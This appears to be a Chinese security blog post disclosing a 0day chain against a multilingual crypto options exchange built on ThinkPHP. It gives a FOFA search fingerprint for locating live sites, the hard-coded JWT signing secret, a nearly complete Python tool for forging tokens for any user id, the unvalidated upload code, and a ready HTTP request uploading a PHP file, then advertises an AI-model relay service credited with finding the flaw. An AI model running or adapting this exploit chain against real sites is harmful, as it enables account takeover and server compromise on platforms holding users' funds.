【组合拳】某币币期权多语言交易所前台任意文件上传漏洞
原创
XingYue404
XingYue404
星悦安全
2026年5月25日 14:05
浙江
在小说阅读器读本章
去阅读
点击上方蓝字关注我们 并设为星标
0x00 前言
有币币交易、期权交易、永续合约、Defi借贷、新币申购、矿机投资理财等功能,还可以发行空气币(平台币),后台能控制期权交易订单的输赢,期权交易类似秒合约交易,感觉没多大区别,充值提现都是虚拟币,推广带三级分销,币种可以相互划转
fofa指纹 : \"/index/seconds/index.html\"
框架:ThinkPHP 6.1.4 Debug:True
0x01 漏洞研究 & 复现
位于 app/uniapp/common/JwtAuth.php 中的JWT 签名密钥被硬编码为:TP6&\fox1988#$LJL\&^&\*1989
uid直接来自 token claim,可签发任意uid的 JWT,进一步访问uniapp、api中需要登录的接口,包括上传、提现、资料修改等,根据代码可直接编写JWT伪造工具。
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import hmac
import json
import time
from datetime import datetime, timezone
DEFAULT_SECRET = \"TP6&*fox1988#$LJL*&^&*1989\"
DEFAULT_ISS = \"fox.com\"
DEFAULT_AUD = \"tp6_server_app\"
def base64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).decode(\"ascii\").rstrip(\"=\")
def make_jwt(payload: dict, secret: str) -> str:
header = {\"typ\": \"JWT\", \"alg\": \"HS256\"}
header_part = base64url(json.dumps(header, separators=(\",\", \":\")).encode(\"utf-8\"))
payload_part = base64url(json.dumps(payload, separators=(\",\", \":\")).encode(\"utf-8\"))
signing_input = f\"{header_part}.{payload_part}\".encode(\"ascii\")
signature = hmac.new(secret.encode(\"utf-8\"), signing_input, hashlib.sha256).digest()
return f\"{header_part}.{payload_part}.{base64url(signature)}\"
def build_payload(){
中间省略一段
}
def format_utc(ts: int) -> str:
return datetime.fromtimestamp(ts, timezone.utc).strftime(\"%Y-%m-%d %H:%M:%S UTC\")
def main() -> int:
parser = argparse.ArgumentParser(description=\"Forge JWT for the audited ThinkPHP project.\")
parser.add_argument(\"--uid\", type=int, default=2, help=\"target user id, default: 2\")
parser.add_argument(
\"--type\",
choices=[\"uniapp\", \"api\", \"both\"],
default=\"uniapp\",
help=\"token type, default: uniapp\",
)
parser.add_argument(\"--days\", type=int, default=365, help=\"token lifetime in days, default: 365\")
parser.add_argument(\"--hours\", type=int, default=0, help=\"extra token lifetime in hours\")
parser.add_argument(\"--secret\", default=DEFAULT_SECRET, help=\"JWT HMAC secret\")
parser.add_argument(\"--iss\", default=DEFAULT_ISS, help=\"JWT issuer\")
parser.add_argument(\"--aud\", default=DEFAULT_AUD, help=\"JWT audience\")
args = parser.parse_args()
if args.uid <= 0:
raise SystemExit(\"Invalid --uid\")
ttl = args.days * 86400 + args.hours * 3600
if ttl <= 0:
raise SystemExit(\"Invalid lifetime, use --days or --hours\")
now = int(time.time())
token_types = [\"uniapp\", \"api\"] if args.type == \"both\" else [args.type]
for token_type in token_types:
payload = build_payload(token_type, args.uid, now, ttl, args.iss, args.aud)
token = make_jwt(payload, args.secret)
print(f\"=== {token_type} JWT ===\")
print(f\"uid: {args.uid}\")
print(f\"payload: {json.dumps(payload, separators=(',', ':'))}\")
print(f\"expires_at: {format_utc(payload['exp'])}\")
print(\"token:\")
print(token)
print(f\"Authorization: Bearer {token}\")
print()
return 0
if __name__ == \"__main__\":
raise SystemExit(main())
然后直接运行工具,即可生成用户id为2的JWT,可直接进行访问其可控接口
前台权限绕过+文件上传组合拳:
由于本方法需要普通用户权限,所以可以结合JWT伪造漏洞直接组合拳.
位于 /app/uniapp/controller/Member.php 中的 upload\_card 方法直接调用Filesystem::disk('public')->putFile()写入public/upload/cards/{uid},导致漏洞产生.
public function upload_card()
{
$data = [
'file' => request()->file('file'),
];
$data['paths'] = 'upload/cards/' . $this->member['id'];
// $this->validate($data, 'Pic');
// try {
// $this->validate($data, 'Pic');
// } catch (\\Exception $e) {
// return $this->up_message(1, $e->getMessage());
// }
$fileName = date('YmdHis') . rand(1000, 9999);
$savename = \\think\\facade\\Filesystem::disk('public')->putFile($data['paths'], $data['file'], function () use ($fileName) {
return $fileName;
});
if ($savename) {
$path = '/' . $savename;
$rdata = [];
$rdata['url'] = $path;
$rdata['src'] = server_url() . $path;
return $this->up_message(0, lang('public.upload_ok'), $rdata);
} else {
return $this->up_message(1, lang('public.upload_fail'));
}
}
Payload:
POST /uniapp/member/upload_card HTTP/1.1
Host: 192.168.140.128
Content-Length: 197
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytWIvtdAsZeAHIKQN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Origin: http://192.168.140.128
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.140.128/uniapp/member/upload_card
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
token: 你生成的用户JWT
Connection: close
------WebKitFormBoundarytWIvtdAsZeAHIKQN
Content-Disposition: form-data; name=\"file\"; filename=\"1.php\"
Content-Type: image/jpeg
<?php phpinfo();?>
------WebKitFormBoundarytWIvtdAsZeAHIKQN--
0x02 同款漏洞
*标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,交易所*
**本漏洞完全由星悦AI中转提供的GPT5.5挖掘.****
https://www.xyusec.com/
DeepSeek-v4-flash DeepSeek-v4-Pro
Glm-5 Glm-5.1 kimi-k2.5 miniMax-M2.5 Qwen3-235B-A22B Qwen3.5-397B-A17B
以上模型全部免费使用,还可以进群领取5$
**免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!****
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论